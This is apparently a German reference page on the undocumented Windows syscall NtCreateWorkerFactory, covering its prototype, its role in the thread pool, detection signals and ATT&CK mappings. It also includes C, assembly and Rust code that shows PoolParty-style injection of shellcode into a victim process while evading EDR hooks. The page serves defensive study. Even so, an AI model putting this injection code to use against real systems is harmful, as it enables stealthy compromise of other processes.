NtCreateWorkerFactory

Prototyp

NTSTATUS NtCreateWorkerFactory(
  PHANDLE             WorkerFactoryHandleReturn,
  ACCESS_MASK         DesiredAccess,
  POBJECT_ATTRIBUTES  ObjectAttributes,
  HANDLE              CompletionPortHandle,
  HANDLE              WorkerProcessHandle,
  PVOID               StartRoutine,
  PVOID               StartParameter,
  ULONG               MaxThreadCount,
  SIZE_T              StackReserve,
  SIZE_T              StackCommit
);

Argumente

Syscall-IDs pro Windows-Version

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 D5 00 00 00      mov eax, 0xD5
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

NtCreateWorkerFactory ist die Kernel-Hälfte des User-Mode-Windows-Threadpools: jeder `CreateThreadpool`, `CreateThreadpoolWork`, `SubmitThreadpoolWork` in kernel32 / ntdll steuert letztlich ein `WorkerFactory`-Objekt über diesen Syscall. Die Factory verbindet einen I/O-Completion-Port (Quelle der Work-Items), einen Zielprozess für Worker-Threads und eine `StartRoutine`, die beim Online-Gehen der Threads aufgerufen wird. Bei legitimem Code ist diese StartRoutine `ntdll!TppWorkerThread`, das anschließend in `NtWaitForWorkViaWorkerFactory` schleift. Das undokumentierte Design — ein einzelner Syscall, der Threads in einem beliebigen Prozess mit beliebigem Einsprungpunkt erzeugt — macht es zu einer mächtigen Injection-Primitive, und die Syscall-Nummer driftet fast bei jedem Feature-Release.

Häufige Malware-Nutzung

Dies ist die Grundlage der PoolParty-Injection-Familie, die Alon Leviev (SafeBreach) auf der Black Hat Europe 2023 vorstellte. Die kanonische Variante: ein Handle auf einen Remote-Prozess öffnen, einen I/O-Completion-Port und eine Worker Factory in diesem Prozess mit `StartRoutine` auf angreifergeliefertem Shellcode im Remote-Adressraum anlegen, dann Arbeit posten, um Threads zu wecken. Ergebnis: Code-Ausführung im Ziel, *ohne jemals* `NtCreateThreadEx`, `NtQueueApcThread`, `NtSetContextThread`, `CreateRemoteThread`, `RtlCreateUserThread`, `NtMapViewOfSection` oder eine der sieben bis acht Thread-Erzeugungs-Primitiven aufzurufen, die fast jedes EDR hookt. Acht eigenständige PoolParty-Varianten landen alle hier.

Erkennungs­möglichkeiten

Worker-Factory-Erzeugung, die Prozessgrenzen überschreitet, ist das hochwertigste Signal. Cross-Process-`NtCreateWorkerFactory` (wenn `WorkerProcessHandle` nicht auf den aufrufenden Prozess verweist) ist außerhalb von Angreifer-Tooling praktisch unbekannt. ETW deckt nur eingeschränkt ab — der Microsoft-Windows-Threading-Provider emittiert einige Worker-Factory-Events, aber nicht den Syscall selbst; der Threat-Intelligence-Provider deckt diese Primitive derzeit nicht. Praktische Erkennung: Kernel-Callback-Prüfung des `ProcessHandle` des `WorkerFactory`-Objekts gegen das erzeugende EPROCESS, oder User-Mode-Hooking von ntdll!NtCreateWorkerFactory (das direkte Syscalls umgehen — dann ist der Kernel-Ansatz nötig). VAD-Scan des Zielprozesses nach RX-Regionen ohne Image-Backing, gefolgt von einer Worker Factory, die diese Region referenziert, ist die sauberste Post-Mortem-Jagd.

Direkte Syscall-Beispiele

// PoolParty 'Worker Factory Start Routine Overwrite' skeleton.
// Assumes hProc opened with PROCESS_ALL_ACCESS, shellcode already written
// to pRemoteShellcode (RX) in the victim.

HANDLE hIoCompletion = NULL;
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);

// 1. Create an I/O completion port in *our* process — the kernel just needs a handle.
NtCreateIoCompletion(&hIoCompletion, IO_COMPLETION_ALL_ACCESS, &oa, 0);

// 2. Duplicate it into the victim so the worker factory there can consume it.
HANDLE hRemoteIoCompletion = NULL;
NtDuplicateObject(NtCurrentProcess(), hIoCompletion, hProc, &hRemoteIoCompletion,
                  0, 0, DUPLICATE_SAME_ACCESS);

// 3. Create the worker factory in the victim. StartRoutine = shellcode.
HANDLE hWorkerFactory = NULL;
NtCreateWorkerFactory(&hWorkerFactory,
                      WORKER_FACTORY_ALL_ACCESS, NULL,
                      hRemoteIoCompletion,
                      hProc,                    // <-- victim process
                      pRemoteShellcode,         // <-- attacker payload
                      NULL,                     // StartParameter
                      1, 0x100000, 0x10000);

// 4. Post a single work item — wakes one worker thread, which jumps to shellcode.
NtSetIoCompletion(hIoCompletion, NULL, NULL, STATUS_SUCCESS, 1);

; NtCreateWorkerFactory direct syscall — SSN drifts per build, resolve dynamically in production.
NtCreateWorkerFactory PROC
    mov  r10, rcx
    mov  eax, 0D5h     ; Win11 24H2 / Server 2025
    syscall
    ret
NtCreateWorkerFactory ENDP

// Cargo: windows-sys = "0.59" ; ntapi = "0.4" for the prototype.
// Demonstrates the cross-process flag — flagged by Sysmon EID 10 on the OpenProcess.
use ntapi::ntpsapi::NtCurrentProcess;
use ntapi::ntexapi::NtCreateWorkerFactory;
use windows_sys::Win32::Foundation::HANDLE;

unsafe fn spawn_remote_worker(
    victim: HANDLE,
    remote_iocp: HANDLE,
    remote_payload: *mut core::ffi::c_void,
) -> HANDLE {
    let mut wf: HANDLE = 0;
    let status = NtCreateWorkerFactory(
        &mut wf as *mut _ as *mut _,
        0x000F00FF, // WORKER_FACTORY_ALL_ACCESS
        core::ptr::null_mut(),
        remote_iocp,
        victim,
        remote_payload,
        core::ptr::null_mut(),
        1,
        0x100000,
        0x10000,
    );
    assert_eq!(status, 0, "NtCreateWorkerFactory failed: {status:#x}");
    wf
}

MITRE ATT&CK-Mappings

• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗